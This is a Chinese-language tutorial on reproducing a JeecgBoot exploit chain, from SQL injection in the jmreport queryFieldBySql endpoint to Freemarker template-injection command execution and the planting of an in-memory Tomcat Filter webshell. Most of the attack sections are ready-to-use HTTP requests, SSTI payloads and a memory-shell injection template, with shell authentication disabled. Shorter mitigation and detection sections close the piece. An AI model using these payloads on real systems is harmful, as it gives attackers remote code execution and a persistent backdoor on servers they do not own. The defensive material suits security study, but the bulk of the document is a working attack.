手把手复现JeecgBoot SQL注入漏洞：从queryFieldBySql到内存马植入（附工具与避坑点）
实战复现JeecgBoot漏洞链：从SQL注入到内存马植入的技术拆解
在企业级Java开发框架JeecgBoot的安全研究中，一条完整的漏洞利用链往往涉及多个技术环节的衔接。本文将深入剖析如何从SQL注入漏洞入手，逐步实现内存马植入的全过程，重点解决实际复现中的环境适配与工具应用问题。
1. 漏洞链的技术背景与前置准备
JeecgBoot作为基于SpringBoot的低代码平台，其报表模块的queryFieldBySql接口因未对用户输入做充分过滤，导致SQL注入漏洞。更严重的是，该漏洞可进一步结合Freemarker模板引擎的SSTI（服务器端模板注入）特性，实现RCE（远程代码执行）。而内存马技术则允许攻击者在目标服务器的JVM内存中植入持久化后门，绕过常规文件检测。
复现环境基础要求：
- JeecgBoot 2.4.5版本（漏洞验证版本）
- JDK 1.8（推荐OpenJDK 8u312）
- Maven 3.6+（用于依赖管理）
- Burp Suite Community/Professional（流量拦截与修改）
注意：不同版本的JeecgBoot可能存在依赖库差异，建议使用Docker构建隔离测试环境以避免污染本地系统。
2. SQL注入漏洞的触发与利用
漏洞核心触发点在/jeecg-boot/jmreport/queryFieldBySql接口，其SQL语句拼接方式存在缺陷。以下是关键攻击步骤：
- 基础注入验证：
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1 Content-Type: application/json { "sql": "select '漏洞验证' as test", "dbSource": "", "type": "0" }当返回结果包含"漏洞验证"字段时，证明接口可被操控。
- Freemarker SSTI利用：
{ "sql": "select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"whoami\") }' as output" }此Payload通过Freemarker的Execute类执行系统命令，返回当前用户权限。
常见问题排查：
- 若命令执行失败，检查JDK版本是否限制
freemarker.template.utility.Execute类 - 特殊字符需URL编码，如
<需转换为%3C - Windows系统需将命令改为
cmd /c whoami
3. 内存马生成与植入技术
使用开源工具java-memshell-generator生成定制化内存马是当前主流方案。具体操作流程：
- 生成阶段：
git clone https://github.com/pen4uin/java-memshell-generator cd java-memshell-generator mvn clean package java -jar target/java-memshell-generator-1.0-SNAPSHOT.jar工具交互界面中选择：
- 内存马类型：Tomcat Filter型
- 访问路径：/bypass
- 密码认证：禁用
- Payload转换： 将生成的Base64编码内存马填入以下模板：
{ "sql": "call${\"freemarker.template.utility.ObjectConstructor\"?new()(\"javax.script.ScriptEngineManager\").getEngineByName(\"js\").eval(\"classLoader=java.lang.Thread.currentThread().getContextClassLoader();...bytecodeBase64='REPLACE_HERE'...\")}", "dbSource": "", "type": "0" }关键参数对比：
| 参数项 | 示例值 | 注意事项 |
|---|---|---|
| bytecodeBase64 | AaBbCc123... | 需完整包含生成的全部Base64码 |
| js引擎 | nashorn | JDK15+需改用graal.js |
| 内存马类型 | Filter/Servlet/Listener | 根据中间件类型选择 |
4. 漏洞链的防御与检测方案
针对该漏洞链，企业可实施多层次防护：
临时缓解措施：
- 禁用
jmreport模块的公开访问 - 升级Freemarker至2.3.31以上版本
- 添加SQL参数化查询过滤器
- 禁用
内存马检测技术：
// 示例：检测异常Filter的JSP脚本 <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <% Field filterConfigs = ApplicationFilterConfig.class.getDeclaredField("filterConfigs"); filterConfigs.setAccessible(true); Map<String,?> configs = (Map<String,?>) filterConfigs.get(null); out.println("当前注册Filters: " + configs.keySet()); %>- 长期加固建议：
- 实施RASP运行时保护
- 建立Java应用基线监控
- 定期进行内存马专项扫描
5. 复现过程中的典型问题解决
实际测试中常遇到以下技术难点：
案例1：JDK版本兼容性问题
- 现象：Nashorn引擎报错
ReferenceError: "Java" is not defined - 解决方案：
# 修改JVM启动参数 export JAVA_OPTS="-Dnashorn.args=--no-deprecation-warning"
案例2：内存马无法持久化
- 排查步骤：
- 确认中间件类型（Tomcat/Jetty/Undertow）
- 检查类加载器层次结构
- 验证内存马字节码完整性
案例3：H2数据库RCE防护
- 加固配置：
# 在application.yml中添加 spring: h2: console: enabled: false settings: web-allow-others: false
在完成全部复现流程后，建议立即重启服务清除内存马残留。对于生产环境，应考虑部署专业的WAF解决方案拦截异常流量模式。